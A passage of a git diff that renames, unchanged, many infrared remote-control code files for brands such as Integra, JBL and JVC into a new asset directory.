assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,9.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,9.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,9.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/HD DVD/69,181.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/HD DVD/69,181.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/HD DVD/69,181.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/HD DVD/69,181.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Media PC/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Media PC/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Media PC/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Media PC/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,108.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,108.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,108.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,17.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,17.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,17.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,17.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,172.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,172.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,172.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,172.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,18.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,18.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,18.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,18.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,19.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,19.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,19.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,20.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,20.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,20.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,20.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,21.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,21.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,21.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,21.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,22.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,22.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,22.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,23.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,23.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,23.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,23.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,24.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,24.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,24.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,24.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,25.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,25.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,25.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,25.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,30.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,30.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,30.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,30.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,43.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,43.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Receiver/210,43.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,43.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Tuner/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Tuner/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Tuner/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Tuner/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Tuner/210,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Tuner/210,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Tuner/210,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Tuner/210,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,108.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,108.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,108.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,109.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,109.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,109.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,172.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,172.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,172.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,172.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/iPod/210,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Intervideo/VCR/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Intervideo/VCR/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Intervideo/VCR/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Intervideo/VCR/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Receiver/64,47.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Receiver/64,47.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Receiver/64,47.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Receiver/64,47.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Surround Processor/130,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/130,11.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Surround Processor/130,11.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/130,11.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Surround Processor/132,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/132,66.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Surround Processor/132,66.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/132,66.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JENSEN/VCR/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JENSEN/VCR/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JENSEN/VCR/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JENSEN/VCR/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/179,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/179,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/179,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/179,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/179,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/179,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/179,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/34,33.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/34,33.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/34,33.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/34,33.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/34,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/34,48.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/CD Player/34,48.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/34,48.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Camcorder/211,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Camcorder/211,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Camcorder/211,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Camcorder/211,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Camcorder/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Camcorder/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Camcorder/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Camcorder/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/D-VHS/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/D-VHS/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/D-VHS/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/D-VHS/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Player/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/179,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Player/179,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/179,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Player/239,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/239,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Player/239,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/239,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Player/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Player/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Karaoke/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/179,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Karaoke/179,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/179,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Karaoke/191,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/191,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Karaoke/191,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/191,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Karaoke/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Karaoke/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD TV/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD TV/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD TV/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD TV/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/35,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/35,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/35,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/35,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/LCD/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/131,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/131,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/131,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/131,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/159,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/159,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/159,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/163,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/163,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/163,-1.ir diff --git 